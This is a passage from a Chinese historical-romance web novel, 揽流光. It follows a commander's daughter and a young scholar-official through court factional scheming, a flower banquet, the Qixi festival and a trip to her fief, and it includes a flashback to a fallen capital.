可是他看老人步伐矫健地从农田中走出,快步上去接过他手中的锄头递上带来的水壶。 老人拿起水壶喝了一口,洒了不少在衣襟之上,他颇为豪迈地一把抹去,看着牧平也道:“你今日怎有时间过来了?” 牧平也接过他递来的水壶走在他身后半步的位置,笑道:“许久未来看看老师了,正巧近日无事来看看老师身体可还好。” 原来这位老人便是当世大儒程耳,他一生著述立传无数,却很少有人能寻得他的影踪。 世人皆当他为那终南山中之隐士,他却道“不过是田中一农夫而已”。 二人往家中行去,程耳虽鬓发略白却依旧神采奕奕:“我这身体很好呢,今岁丰收之时给你和言令送些去。” 很快便到了家中,家中虽是些寻常样式,却总叫人有种闲云野鹤之感。 程夫人笑着迎上前来:“思悠来了,许久未见怎瞧着瘦了许多,今日师母给你做些你爱吃的。” 牧平也并不推脱,只是笑着作了个揖道:“那就辛苦师母了。” 程耳看二人交谈便先去后院洗漱一番,换了衣衫方来到前院,程夫人自去准备晚膳。 牧平也为程耳倒了盏茶,只听他问道:“听闻陛下只给了你一个太史掌故之位,心中可有怨言?” “还是老师明察,”牧平也摇了摇头,撩衣摆坐于对面,“许有些怨言,但也无关紧要。学生知晓自己的能力,并不担心这个,今日前来除了看看老师和师母,还有一事向老师请教。” 程耳闻言毫不意外,笑着抿了口茶道:“你且说说。” “老师,鱼与熊掌真的不可兼得吗?” 程耳放下茶盏笑了笑,却并没有直接回答他的问题,沧桑的双眸有着看透世事的通透,他指着远方万亩良田道:“你瞧这小麦,马上就要收割了,这些年我和你师母将它们打理得很好,可我们心中也总有遗憾。 “我和你师母都是雾南人士,自小便是吃水稻长大的。我们不是不曾在这里栽过水稻,可是都没能成活。 “思悠啊,你是个聪明孩子,水稻根本不适宜京都的气候,我便是勉强也无用。 “师亦不能决其重轻,汝宜择其志之所安者而从之,悔之无及矣。” 牧平也闻言垂下了头,他心中确有鸿鹄之志。 他要斗转而天动,山摇而海倾。① 可他也想与她一同赌书嗅茶香②,可她若知晓自己所作所为…… 牧平也想到自己房中的那些画像,这些都是他在梦中惊醒再难入睡之时所作,画中女子都只有背影。 只一副有着一副无双面庞,身着湖蓝色衣裙站在凤凰花树下。 明媚却又苍凉。 傍晚离去之时,老师和师母站在小院门口相送,他缓缓转身离开,微风轻拂送来了老师口中的喃喃细语。 “一切众生,皆具如来智慧德相,只因妄想执着,而不征得……”③ * 薛容玦昨日里果酒喝了不少,不知是怎么回来的,月红说是兄长将自己背回来的。 她敲了敲脑袋,只记得自己和裴枫有一番交谈,后又遇到柳家二郎,却又不记得和他说了什么,之后诸事便再不记得了。 “姑娘醒了,”月红推门进来,手中还拿着一盏醒酒茶,“姑娘快喝些,今日怕是会有些头疼呢。” 薛容玦接过醒酒茶,慢悠悠地喝完了,递还给月红:“这以后还是要少喝些。” 月红笑着点头正欲说什么,又有一人走了进来。 “姑娘,”这女子一身红衣飒爽,跪地抱拳道,“都是奴婢不好,若是奴婢未曾离开,姑娘如何会受这么多苦。” 薛容玦仍有些发愣,眼神不住地在她和月红之间徘徊:“这……这是……?” 那女子闻言就红了眼眶,低下了头。 “是竹绿啊,姑娘。”月红开心地说道。 经月红一番解释,薛容玦这才明白,原来竹绿是薛勖霖专门为女儿训练的婢女,有些功夫在身上。前些日子,因家中老母去世回家奔丧,直至今日方才归来。 竹绿看起来二十岁的年纪,她抹了抹眼泪:“奴婢日后定会保护好姑娘。” “好了好了,”薛容玦说着下了床来扶起她,安慰着,“不必自责,以后可就要靠竹绿姐姐保护我了呢。” 竹绿这才破涕为笑,又忽然想起什么,从怀中拿出一张帖子:“奴婢刚到门口,看有人给姑娘送帖子,便一同带了过来。” 薛容玦接过帖子坐在桌边,打开看着,原是柳家于五日后办一场赏花宴。 柳家好端端地此时办什么赏花宴?薛容玦心中觉得奇怪,却因头疼懒得多想,总归去了便知晓了。 * 胡清露的婚期定于九月,是一个秋高气爽的好日子。 婚期将近,胡清露便拒了帖子,是故只有薛容玦和姜琼芳二人前来。 薛容玦和姜琼芳从进入柳府以来便被柳二夫人热情招待,薛容玦实在受不住她的热情便借口和姜琼芳想先赏赏花离去。 两人来到一处无人的亭中坐着。 这亭子建在一个小山丘之上,周围是一片竹林,二人置于其中颇能隐藏踪迹,又有一番“春去人间总不知”④的妙味。 “这柳二夫人,”薛容玦心有余悸地拍着胸口,“怎的如此热情,早知我就不来了。” 姜琼芳“扑哧”笑出声,在她身旁坐下:“还不是因为你这‘安乐郡主’,薛家如今风头正盛,况且你还未许人家,谁不想试一试呢。 “虽说柳老爷子官拜太尉深受陛下器重,但柳家大爷和二爷都无所建树,柳家大郎柳凌霜如今担着车郎将,柳家二郎怕是马上也要入仕。 “只靠两个后生和柳老爷子的余威不足以庇荫柳家,若能与薛家联姻,才能庇佑柳家长久。” “可是,”薛容玦双手撑着桌子托着腮,歪着脑袋瞧着姜琼芳,“陛下正值壮年,如此早表明立场不好吧。” 姜琼芳笑着敲了一下她的脑袋:“傻阿玦,只有手中拥有足够的权势才能保证一个人在官场中明哲保身,否则若不是站队便是被淘汰。 “你瞧御史大夫胡大人便能在这朝堂中不选择立场,还能为女儿寻得一门好亲事。小陈大人官拜博士,不会涉及朝堂之争,清露是个有福气的。 “况且,现在崔夫人与五皇子的势力也不容小觑,太子殿下面临的局势不容乐观。” “好烦,”薛容玦双手掩面,语气中充满疲惫,“姐姐可曾想过自己的未来?” “我?”姜琼芳闻言愣了一愣,后笑了一下,只是那笑容十分涩然,“你我的婚事都得陛下和皇后娘娘作主,就算我们不愿又有什么办法呢。” 薛容玦正打算说什么,却被打断:“原来郡主在这里,可叫在下一番好找。” 原来是柳凭风,穿过影影绰绰的竹林,笑意盈盈地走入亭中,向二人见了礼,笑着对薛容玦:“不知郡主可有空?” 薛容玦和姜琼芳对视一眼,她轻轻点了点头,姜琼芳起身笑着说:“我前去瞧瞧花,待会再来寻你。” 12. 山雨欲来(三) 《揽流光》全本免费阅读 薛容玦曾远远地瞧见过崔棠,却未曾如此近距离仔细地打量过她。 她和薛皇后完全不同。 若说薛皇后像萼绿君,清幽淡然,高坐云端。 那崔棠就像凌霄花一样热烈张扬。 崔棠眉如墨画、眼若秋波。 她身着一身玫红色的衣裙犹如一朵张扬的玫瑰花,迷人心窍。 她带着海棠雕花缠丝鎏金冠,显得整个人明艳又妩媚。 她笑意盈盈地和刘老夫人寒暄着,看到薛容玦远远走来,笑着招手:“阿玦也来啦,快来快来我瞧瞧。” 薛容玦带着恰到好处的笑容走到她面前向崔棠和她身后的一双儿女请安。 崔棠笑着起身扶起她,拉着她仔细瞧了瞧:“看起来气色还不错,真是越长越漂亮了。” 薛容玦不着痕迹地抽回了手,笑道:“夫人过誉了,安乐哪里比得上三公主和五皇子呢。” 崔棠看着身后的一双儿女笑着摇了摇头,回到了上位坐下,苦笑着和柳老夫人抱怨:“阿硕这年纪还未成家,我一天操心得不得了。听闻,府上的柳姑娘很是不错呢,快让我瞧瞧。” 薛容玦默默地退到姜琼芳身边,二人对视了一眼,都看到了对方眼中的了然。 庭外的蝉鸣聒噪,更显得庭内气氛平静得诡异。 “能得夫人青眼,是她的福气,”柳老夫人的脸上堆满了褶皱的笑意,冲着身边的一个姑娘招手,“扶云,快来让夫人瞧瞧。” 薛容玦看到对面一个身着鹅黄衣裙的女子袅袅婷婷地走出,挽着双髻身上满是少女的娇柔与天真。 “臣女柳扶云,见过崔夫人,夫人万福。” 薛容玦注意到一众贵女的眼神不住地往五皇子身上瞟,再看向柳扶云的眼神便不再那么友好。 这个年纪正是少女怀春的年纪,她们少年不识愁,满是少女的烂漫。 薛容玦不禁低头失笑,她却还以为一众少女该和她这个经历沉重的人一般无所求。 “来,”崔棠上下打量着她,眼中都是满意,伸出纤纤素手道,“近前来,我瞧瞧。” 柳扶云莲步轻移,走至崔棠面前,因害羞微微红着脸低着头。 “今年多大了?” 柳扶云轻声答道:“回夫人的话,今年十七了。” 崔棠听闻笑着回头和女儿盛璐沅说道:“和你同岁呢。” 盛璐沅继承了母亲的明媚与张扬,笑着上前拉过她的手:“那扶云可要没事常来宫中陪我玩呢,我在宫里好无聊呢。” 崔棠笑着冲这些小辈们摆摆手:“都别挤在这里,你们年轻人出去赏赏花,我陪老夫人说说话。” 众人鱼贯而出,盛璐沅还拉着柳扶云在说着什么,五皇子盛硕则同柳家大郎柳凌霜说着什么,四人脸上都挂满了笑意。 崔棠的一双儿女都继承了母亲的好颜色,不过女儿盛璐沅更妩媚,而盛硕则更加明朗。 盛硕若是打马从街边行过,怕是颇有一番“满楼红袖招”①的盛景呢。 盛硕和太子盛景明不同。 盛硕身上全是专属于少年人的气息,是最潇洒最肆意的儿郎,犹如世间最厉的风、最烈的酒。 太子盛景明许是年岁更长,周身都是岁月沉淀下的沉稳,仿佛深山中的潺潺泉水、深林中的徐徐风动。 柳家为了这场赏花宴还是费了不少心思的,将花按照稀有程度分类,但也注重颜色搭配。 许是有人格外心仪蓝色,专有一处回廊摆着蓝色的花,顺着回廊慢行,可以看到各式各样不同种类的蓝花。 风铃花随着微风摆动,似想如风铃般叮咚作响;剑兰如它的名字一般气势磅礴,充满力量。 大花蕙兰、百合、满天星…… 蓝色的百合薛容玦还是第一次见,和姜琼芳仔细地欣赏着。 姜琼芳和薛容玦走到一株蓝色绣球前,看四下无人注意她们二人,姜琼芳才小声开口道:“崔家这是打算拉拢柳家?” 薛容玦摇了摇头,轻抚着绣球亦悄声回道:“不太清楚,但估计十有八九。 “柳凭风说这场赏花宴是柳二夫人办的,但是崔夫人又是柳老夫人请来的。 “崔夫人带着五皇子和三公主一同前来,又拉着柳扶云说了会子话,这心思也太明晃晃的了。” “这柳家,”姜琼芳眼中充满疑惑,“难道还没想好吗?” 薛容玦耸了耸肩表示不明白,和姜琼芳又赏了会花便先告辞离开。 柳凭风将二人送至府门口,他趁姜琼芳落后两人半个身子之时悄声在薛容玦耳边道:“今日所说之事,还望郡主考虑。” “柳公子是认真的吗,”薛容玦觑着他小声道,“崔夫人如此明显之意图,况能得老夫人之邀,不是表明了柳老爷子的态度了吗?” “此事说来话长,有机会再与郡主详谈,”他轻叹了口气,又看向前方笑道,“薛兄来接郡主了。” 天色稍暗,薛琮与牧平也二人不知说着什么,谈笑风生。 “阿兄!阿兄怎的来了?”薛容玦快步上前打断了他们的谈话,又笑着向牧平也见了礼,“牧公子。” 姜琼芳也随后赶来向二人见礼:“表哥,牧公子。” 薛琮冲着姜琼芳笑了笑,又摸了摸自家妹子的脑袋:“正巧和牧兄遇到,想着你与表妹今日来柳府,算了算时间也差不多便顺道来接你们。” 牧平也分别与两位姑娘作揖,那姿态如仙人之姿令人赏心悦目:“郡主,姜姑娘。” 柳凭风似是完全不记得那日龃龉,与牧平也笑着寒暄。 他显然与薛琮十分熟识,他轻揽着薛琮的肩膀:“近日我的箭术可精进不少,改日再试试?” “你再练练吧,”薛琮失笑,“柳大哥的箭术和谦虚你是一点没学会。” 柳凭风也毫不介意地哈哈大笑道:“今日府中宾客众多我就不留你们了,改日再请大家一道聚聚。” 薛容玦不着痕迹地看了牧平也一眼,他了然地点点头,对薛琮说道:“天色不早了,若是薛兄放心,薛兄送姜姑娘回去,我将郡主送回薛府。” 薛容玦也在一旁挽着姜琼芳的胳膊附和道:“是啊,琼芳姐姐一个人回去我可不放心。” 薛琮看了看姜琼芳,冲牧平也抱拳道:“那便麻烦牧兄了。” 薛容玦看着渐渐驶离的马车,才收回目光,转身对车夫道:“你们先回去吧,我想走走。” 她又让竹绿和几个家仆远远地跟着。 这才转头开口对牧平也道:“崔夫人今日带着五皇子和三公主前来参加柳府的赏花宴了。” “哦?”牧平也闻言挑眉看了看她,问道,“柳家人如此举棋不定吗?” “我瞧着应该不是,”薛容玦摇了摇头,神色认真,“看着像是柳家内部有分歧。” 薛容玦甩了甩头,似是有些烦躁,拿着帕子的手甩了一下颇为潇洒:“算了,不说这些了,近日朝堂上可有何事?” 牧平也侧头看着她十分有兴趣地在瞧着两边的货品。 其实都是些寻常小玩意儿,她却走走停停,饶有兴趣地看着每一件货品,间或和老板闲聊两句。 13. 山雨欲来(四) 《揽流光》全本免费阅读 夜幕低垂,一道鹊桥横渺渺,千声玉佩过玲玲①。 七夕的夜空犹如一幅水墨画,但却颠倒了所有的色彩。 银河犹如一道泼墨的墨笔横亘于夜空之中,点点星子则像随着飘逸的笔锋四散流落的墨点。 织女迈过鹊桥,悠悠步履引得环佩叮咚作响,繁星闪烁,随着环佩为这场每年一次的相见奏响一首宛转悠扬的乐曲。 只是,皇宫内寂然无声。 桓帝拿着朱笔批着折子,可是脑中不断想起牧平也坚定的眼神和自信的话语。 “臣若不能保身边人全身而退,那臣也不堪为人夫。” 桓帝重重叹了口气,放下了手中的朱笔,起身朝外走去。 皇帝身边的近身内侍也不知陛下要去哪,皇帝也不让跟着,只得远远儿地跟着陛下。 他的身影在昏暗寂寥的宫道上被拉得很长,就像天地间的孤寂都压在这人身上。 桓帝漫无目的地走着,可不知怎的就走到了椒房殿的宫门外。 他想起那时他和皇后都正年轻,也是年少无所顾忌。 多年前的今日,他带着尚是花房宫女的皇后溜到民间去。 可人潮汹涌,他们很快在街市上被冲散了,他焦急地左顾右盼,冲入人群去寻找她。 当他回首之时,曾经不解的诗词如今流淌进他的心中。 “蓦然回首,那人却在,灯火阑珊处。”② 她的手中把玩着一面团扇,热烈的凤凰花被绣制得栩栩如生。 但那一刻,他只觉得人比花娇,那一抹倩影就这样烙在了他心中再未抹去。 桓帝沉湎于回忆,素来紧皱的眉头轻轻舒展,就连不苟言笑的面庞上也浮上暖意。 他迈步跨入殿中,摆摆手让宫人不要通传,看到薛皇后在婢女的服侍下摘下了白日里繁复的皇后装扮。 他正欲上前却听薛皇后看着窗外繁星叹了口气:“碧桃你说,柳家既已选择了崔棠,可还有何适合阿玦的年轻公子?” 桓帝刚刚染上笑意的眼眸刹然被苦涩所取代,转身离开还对宫人交代:“不要告诉皇后孤来过。” 桓帝走出椒房殿,只觉偌大的皇宫在这七夕佳节他竟无可去处。 初遇崔棠时,桓帝正处于最艰难的时刻,薛清璇因女儿盛汀宛的死悲痛,他却因田家权势只能蛰伏等待机会。 他和薛清璇都已为女儿挑选好封号,待肃清田家势力便封女儿为“安乐公主”,取“人生但安乐”③之意。 可惜,汀宛年纪轻轻便死于残酷的政治斗争。 崔棠就是在这时出现的。 她和薛清璇不一样,她不够聪明亦不够坚韧,但她娇媚可人,舒缓了当时他因政治斗争和女儿离世的烦躁的心情。 人呐,困顿之际需要解语花、忘忧草,太平盛世则需要媚人的海棠点缀。 他迈步向崔棠的棠梨殿行去,殿内没有宫人侍奉,他一路走到内殿外,还未出声便听到崔棠轻快的声音:“阿硕真是越来越不听话,即便瞧不上柳家姑娘,七夕带着姑娘去玩玩也是好的,非得本宫发火他才应下。 “倒是小瞧了璐沅,平日里看着不言不语的,若能笼络住柳凭风也是不错。” 桓帝苦笑着摇摇头,看着夜空闪烁,心中嘲笑着自己居然还抱有期待。 他转身大步走回勤政殿,仍继续拿起朱笔批折子。 皇宫的寂寥无情却毫不影响民间的热情。 天宫的这场相见,不止繁星奏曲,人间亦遥遥相和。 街市上的火树银花闪烁、水面上的河灯带着少女们最隐秘的爱恋明明灭灭,似与繁星一同歌唱这人间最动人的爱情。 薛容玦在天一楼的「玄妙阁」中凭栏远眺。 她一身嫩粉色衣裙,今日扎了一个可爱的单髻。薛容玦皮肤白皙如玉脂,月红给她用的都是嫩粉色的脂粉,更显得她娇嫩可人。 人头攒动,薛容玦还是很快地捕捉到了一些熟悉的身影。 太子与太子妃身着寻常衣裙,如平常夫妻般出游,似是怕被人认出,二人在面具摊前挑选着面具。 太子妃拿着各个样式的面具在太子面前比划着,最终为太子选择了一面绘着竹叶的面具。 太子则为爱妻挑选了一面白兔面具,二人戴上面具后携手继续游观。 胡清露在叽叽喳喳地说着什么,她看向陈公子的眼眸如天上繁星般明亮,她一边说一边轻轻跳动着。 陈公子笑着听她所言,他们视线相撞之处爱意如江水般流淌。 他时不时地应和着,左手始终在她身后虚虚护着以防她被汹涌人潮撞到。 姜琼芳则站在灯谜前眉头紧锁地猜着灯谜。 薛琮则站在姜琼芳身后半步,和她一边探讨一边挡着身后不断向前拥挤的人群。 盛硕右手摇扇,俨然一个翩翩少年郎,引得不少少女侧目。 他向少女们展露一个肆意的笑容,一群少女小声惊呼着,有胆大者试探着上前攀谈。 柳扶云攥紧双手紧紧在他身后行着,双颊通红地看着盛硕,满眼都是不加掩饰的爱慕,可看向那些少女时又浮上一丝不满与怒意。 薛容玦正欲收回目光,却瞥到裴枫笑容满面地和身边的公子交谈着。 她不复那日的唯唯诺诺,反而姿态大方、眉语目笑。 她身边的公子威武高大,俨然是军中之人,看向裴枫的眼中除了毫不掩饰的爱意之外还有一丝愧疚。 “在看什么?笑得这么开心?”牧平也清淡又好奇的声音从身后传来。 薛容玦笑着回身用手中团扇指着「玄妙阁」道:“玄之又玄,众妙之门。④” “薛兄呢?”牧平也没有追问,只是在房间四处瞧了瞧,“没有和你一同出来吗?” “我借口累了,”薛容玦走到桌前为自己和牧平也倒了一盏茶,“让他和琼芳姐姐去玩了,这样才方便我们说话。” 牧平也微微抬眼看向她,只觉她今日像一朵春日桃花。 “姑娘这边可有何困难之处?” 薛容玦歪着脑袋想了想:“应是问题不大,阿娘已经应允我了,再去求求阿爹便可。” 牧平也饮了口茶:“那我们便仍十日后见。” “那是自然,”薛容玦看着他,“公子今日相约可还有其他事?” 牧平也愣了一下,笑道:“只是担心姑娘这边不顺利,既是如此,今日赶巧不若一同转转?” 夜市千灯照碧云⑤,她从未见过如此繁华的夜景。 曾经,一旦入了夜,京都便如空城一般苍凉寂寥。 薛容玦早已跃跃欲试,便兴致勃勃道:“好啊!” 只是不巧,二人刚刚迈出天一楼便看到了两个熟人。 柳凭风在一旁 14. 山雨欲来(五) 《揽流光》全本免费阅读 雨后清晨,一辆马车在官道上疾驰而过,马的嘶鸣声和溅起的泥点惊飞了树枝上停栖的小鸟。 风吹起车帘将湿润又清爽的空气带进马车内。 牧平也看着靠着车厢以帕掩面打哈欠的薛容玦,笑着问道:“姑娘昨日可因风吹雨打未曾睡好?” “不是”,薛容玦又以帕掩面打了个哈欠,泪珠顺着睫毛掉落,“昨晚阿娘不放心,拉着我絮絮念叨了好久。” 牧平也闻言神情肃穆,皱眉道:“这一路确实艰险异常,姑娘若是担心,此刻返回还来得及。” 薛容玦摆了摆手,表情显得十分轻松:“不担心,阿爹暗中派了不少暗卫随行,公子也有些功夫在身上,我不拖公子的后腿便是好的。” 牧平也看着她昏昏欲睡的模样,心中只觉可爱。 他掀开帘子,看着路边挑担而行的农家郎,思绪却不由自主地飘回了几日前。 * 牧平也在勤政殿内跪得笔直,像极了院中竹柏,语气坚韧道:“陛下,臣想向陛下求娶安乐郡主。” 桓帝闻言放在手中的毛笔,身坐高台,颇为感兴趣地看着他:“孤为何要答应你?” 牧平也毫无畏惧地抬首与君王对视。 桓帝虽眼中有笑意,可君王浑身的气势还是令他一震,强自镇定地说道:“太子殿下与五皇子之争日渐激烈,于太子殿下而言,安乐郡主是一枚很好的棋子。 “陛下必不想让薛家坐大,安乐郡主若嫁给臣,并不会扩大太子殿下一党的势力。” “哦?”桓帝的语气不明,“安乐同景明一道长大,据孤所知,二人感情甚笃,想来景明不会以安乐的婚事作筹码。” “太子殿下是不会,可是,皇后娘娘呢?” 博山炉中的烟雾盘旋而上,午后慵懒的阳光穿过窗,击碎了这散兵游勇的烟雾。 殿内一片沉静,牧平也觉得自己甚至听到了烟雾的破碎声。 不知道过了多久,上首终于传来了一道疲惫的声音:“既知如此,为何踏入这趟浑水呢?” 牧平也隔着缓缓上升的阳光,看不清帝王的面容,只得看到一个模糊的身影。 “臣入仕不止是因为老师的推荐,也确实是因为臣想如大鹏般展翅于青天。 “裴家显然已经站在崔家身后,裴顾行乃是老师的推荐,不论如何崔家人都会为他筹谋,况且裴兄是个有才华的,不如用来对抗薛家。 “至于臣,想来陛下还不确定臣的能力,不敢轻易启用。 “臣一心为了朝堂,臣亦知晓陛下之心腹大患。” 他姿态清雅地俯身一拜,郎然道:“臣愿为陛下手中剑,披荆棘、斩魍魉,开前路、迎新生。” 桓帝微微向前倾身,问道:“那你还敢向孤求娶安乐?” “臣若不能保身边人全身而退,那臣也不堪为人夫。” 牧平也直起身,双眸中满是野心与欲望:“臣欲兼权爱二者,且自信有余力以取之。” “哈哈哈哈,”桓帝抚掌大笑,眼中满是欣赏,“你这脾气倒是与孤年轻时有点像。” “陛下谬赞。” 桓帝复拿起手中毛笔,低下头继续批折子:“明郡一直让孤很头疼。” 牧平也闻言浮上喜色,俯身大拜道:“多谢陛下。” 桓帝头也未抬,语气平淡:“孤不会给你官职、不会给你任何旨意,能办成什么样瞧你本事了。” “臣必不负陛下所望。”牧平也自信满满,眼中满是少年人的坚定。 * 薛勖霖坐在昏黄的烛光下看着北境送来的战报,边看边皱眉。 薛容玦就在此刻推门而入,她几乎没有来过薛勖霖的书房,这一推门震惊了她。 桓帝为打击田氏外戚,因薛清璇之故起用薛勖霖,原本不过是想扶持一个可与田氏抗衡之人,但他用几场战役证明了自己的能力。 不过,她受史书影响一直认为,薛勖霖此人能取得如此盛名不过是有一个做皇后的姐姐,更重要的是运气不错,恰好出现在了这个历史节点。 可是当她推开门那一瞬,她意识到自己错了。 薛勖霖的书房,不,不应叫书房,更像他在家中的简易军营。 他坐于书桌之前,身后则挂着一张硕大的地图,尤其是边防部分密密麻麻地写满了什么。 书架上无一例外全是从古至今所有能够搜罗到的兵书,写满了他对历史上每一场重大战役的批注。 书架对面摆着一个巨大的沙盘,上面标注着北蛮各个部落的势力以及我朝的边防情况。 薛琮自小便跟着父亲利用沙盘复盘父亲打过的每一场战役,薛勖霖会不厌其烦地一遍又一遍地分析如何能做得更好、还有哪些失误的地方。 他的仕途确实一帆风顺,不能否认他的时运。 可是他在战场上的浴血奋战是真的、烛光下的奋笔疾书是真的、沙盘前无休无止地演练也是真的。 薛府有一个演武场是专门为薛勖霖搭建的,每日里他都会在演武场待上两个时辰,风雨无阻。 这一切都是他自己的努力所得,他值得这一切。 “阿玦怎么来了?”薛勖霖抬起头,看着日渐亭亭而立的女儿迈步进来,“可有什么事?” 薛容玦将手中的茶放在桌上,点了点头:“是有些事要和阿爹说。” 薛勖霖慈爱地看着她:“何事让小阿玦如此严肃,坐着说。” “阿爹可曾想过薛家如今的局势?” 薛勖霖闻言一愣,不解道:“阿玦这是何意?” 薛勖霖此人一心钻研军事,对朝堂上的事不甚上心。 “太子殿下品行端正、雄才大略,姑母的皇后之位、阿爹的大将军、阿兄将来必会成为将军,还有姨丈的丞相都是太子殿下最坚实的依靠。” 薛勖霖眼中疑惑更甚:“阿玦说得没错,这不是很好吗?” “阿爹,”薛容玦叹了口气,心中有几分无奈,“薛家看起来繁盛至极,可是忧患早已显现。” “此话怎讲?”薛勖霖闻言神色严肃,并不因她年纪小便轻视她。 只有这样的人才能成为流芳千古的名将,薛容玦心中赞叹道。 薛容玦亦神色严肃,缓缓道:“阿爹可还记得,陛下才登基时的局面。 “田氏掌权,田氏一族把持朝政。陛下年幼登基,处处掣肘,还是在姑母和阿爹的帮助下才一步步摆脱田氏、除掉田氏一族,走到今日。 “阿爹看今日之太子,像不像昨日之陛下?” “可是,”薛勖霖犹豫着说,“太子仁善,不会……” 薛容玦叹了口气,薛勖霖只堪为将:“太子殿下不会,可是陛下呢?这种事在历史上屡见不鲜。 “陛下首先是天下人的陛下,才是夫君、才是父亲。 “阿爹看陛下近些年如此扶持崔家与五皇子还未看清楚吗?” 薛勖霖只是对朝堂之事不甚上心,但十分聪明一点即通:“陛下想让两虎相争。” “对!”薛容玦点了点头,正色道:“两虎相争最终的受益者只有陛下,薛家与崔家只会作为新帝的垫脚石。” “陛下首先要考虑的是皇权的安稳传递,然后才是他的夫妻之情、父子之情,这情分许还没有纸厚。” “那薛家该如何破局?”薛勖霖谦虚地请教着女儿,他知晓女儿自落水后成日卧在房中看历朝历代的史书,却未曾想到她会有如此深刻的见解。 薛容玦站起身,郑重地向薛勖霖福了福身。 “破局之法是有,还望阿爹答应,暂时不要将今日之谈话告知姑母与他人。 “女儿与牧平也有一计,但需借女儿的郡主之名前往封地明郡安乐县一趟,望阿爹答应。” “你且先说说。” …… * 牧平也在亭中坐了一会,这场雨就悄然而至。 裴顾行来时,撑着一把竹青色油纸伞,与他今日一身青衣和这竹林相和。 他大步迈入 15. 飒飒秋雨(一) 《揽流光》全本免费阅读 绿遍山原白满川,子规声里雨如烟。① 只是不如春日宜人。 盛夏初秋连绵不断的雨水与青山交织着,薛容玦站在窗前只能透过如薄纱般如梦如幻的雨帘眺望远方。 “这南方真是雨水多啊,”她重重叹了口气,转身坐在桌前托着腮愁眉苦脸,“我们已经在这个驿站耽搁三日了。” 牧平也手不释卷,只是笑道:“南方多雨,盛夏初秋更是如此,姑娘还是耐心些等等吧,便当作是等姑娘的婢女。” 薛容玦探了探脖子,试图看看他手中的书:“在看什么?” “明郡的地方志。” 薛容玦百无聊赖地左顾右盼,就见竹绿月红迈步进来。 她急忙起身,拉着二人的手高兴地问道:“一切可还顺利?” 竹绿轻轻地点了点头,月红活泼闻言急忙说道:“郡主放心,京中一切都安顿好了,对外只说是郡主回永乐郡探望外祖一家。” “那你们去永乐郡见到外祖父外祖母了吗?”她对周韫之父周昌源在史书中的记载没有什么印象。 “见到了,”月红笑着安抚着她焦躁的情绪,“周老太爷让郡主在明郡放心大胆地做想做的事情,不止薛家,周家也为郡主撑腰呢。” 周昌源是乐阳大长公主的驸马,仔细算来还算是陛下的姑丈。 竹绿笑着等二人寒暄完,从怀中拿出一封信:“这是周老爷子给郡主的信。” 薛容玦心生疑虑,什么事还非得写信来告诉她。 薛容玦拆开信,仔细地阅读着。 只是她原本轻快的表情变得越来越沉重,直到读完信她的面庞像凛冬般冷冽。 牧平也看着她严肃的神色,忍不住出声问道:“可是乐阳大长公主和周大人有何交代?” “不是,”薛容玦摇了摇头,面色严肃地道,“外祖父只是提醒我小心崔广,外祖父说崔家与当年平德十五年军需贪污案有关。” 牧平也神色一紧,略思考后开口道:“若是未曾记错,平德十五年的军需贪污案是田氏倒台的原因。那时明郡的郡守应是田冯,郡尉是王锋道,田冯是田氏直系、王锋道亦是田氏一党。” “那公子可知平德十五年的郡监是何人?” 牧平也眼底浮上了一层疑惑,心中却有不好的预感:“何人?” 薛容玦冷凝着脸,轻轻吐出三个字:“崔敬山。” 牧平也猛然站起身,凳子和地面的摩擦出的声音刺耳至极,他充耳不闻,只是神色凝重地看着她:“若是如此,我们怕是得徐徐图之。” “崔家当年做得极其隐蔽,只是外祖父和舅父当年有些许线索怀疑,但并未有实证。” 薛容玦嗤笑一声,只是那笑容如冰霜般刺人:“当年因为平德军需贪污案死了多少人?我阿爹亦险些因军需不足命丧沙场,原以为此案早已因田氏倾覆了结,原来还有崔家的手笔。 “也不知道,崔度在带兵的时候可曾心安。” 那些枉死的冤魂也不知会不会深夜入梦求他们崔家偿命。 薛容玦轻轻阖上眼,仿佛又看到了那个破碎飘零的京都。 * 那时还是深秋,枯黄的梧桐叶在京都飘旋飞舞,为整座都城笼罩着一层悲戚。 此刻的京都还算风平浪静,甚至宫中还称得上歌舞升平。 只是街坊上时不时走过面色枯黄的人群和孩童昭示着远方正在逼近的战事。 她怀中抱着从山上挖来的小番薯,用破布包着,迎着冷风向前艰难地向家走着。 不知发生了什么变故,整座城的人突然骚乱了起来,像是一声惊雷打破了虚假的平静。 有不少人拉着家眷、背着包裹朝城门冲去,她被人群挤得歪七扭八,好不容易走到没人的巷子却因步伐不稳栽倒在地,怀中的小番薯洒落一地。 她左右环顾没有人注意到她,顾不上拍去身上的尘土,她赶忙跪在地上捡起小番薯,这是未来几日她和阿爹的口粮,不然又得饿肚子了。 就在这时一只穿着黑色衣袍的人在她面前站定,蹲下身子,伸出一双布满疤痕的手帮她一起捡。 她惊讶地抬起头,只看到一个憔悴的面庞,暗淡的双眸、干裂的嘴唇和黑黢黢的脸颊。 那人似是看出了她的防备,羞涩地笑了笑:“我是京中守军,只是瞧着姑娘和我妹妹差不多大,顺手帮帮姑娘,姑娘别怕。” 她为自己一闪而过的怀疑感到羞愧,低下了头:“多谢大人。” 突然间,朱街上传来断断续续地声音。 “……跑了……快……” “皇帝……跑了……死……” 饶是她再愚钝也知道这是什么意思。 「皇帝跑了,快离开这里,不然就是等死。」 她注意到身旁的那双手顿了一顿,只一瞬又恢复如常。 “你……”她犹豫地开口,“不害怕吗?” 他没有回答,只是将捡起的小番薯用破布包好:“我送姑娘回去吧,以免姑娘遇到歹人。” 呼啸的风声、沙沙的枯叶、喧闹的人群显得二人之间更是安静。 “我其实很害怕。” 她轻轻转头看着他,他笑了笑,皲裂的双唇溢出些血迹覆盖掉原本干涸的血迹:“谁不怕死呢,可我告诉自己不能怕,我还有母亲还有妹妹。 “我甚至很恨狗皇帝,他胆小怕事却又贪图喜乐。他在宫中奏乐赏乐,珍馐美食如流水般供应,我们甚至连吃都吃不饱。 “姑娘可知?边防军本不会输得如此之快,就是他要造什么‘天上宫阙’,挪用了军款,导致边防兄弟们的盔甲、武器没及时更换而节节败退,我那在北边寒月郡参军的大哥自此杳无音信。 “到了现在,他居然弃城逃跑!一个皇帝,敌人还没打进来就被吓得屁滚尿流,这王朝还有什么指望!” “那你不离开吗?”她害怕看到他失望的双眸,只是低着头轻轻问道。 “我不会离开的,”他的语气充满了坚定,她偷偷瞥着,看到他笑着说,“母亲和妹妹还在京都,我要保护京都、保护她们。” 她的心中涌上一股暖流,她自己也说不清道不明,只觉得这世道也没那么糟糕。 他在巷子口的大榕树下站定,将小番薯递到她怀中。 “别担心,我们都会努力保护京都的。” 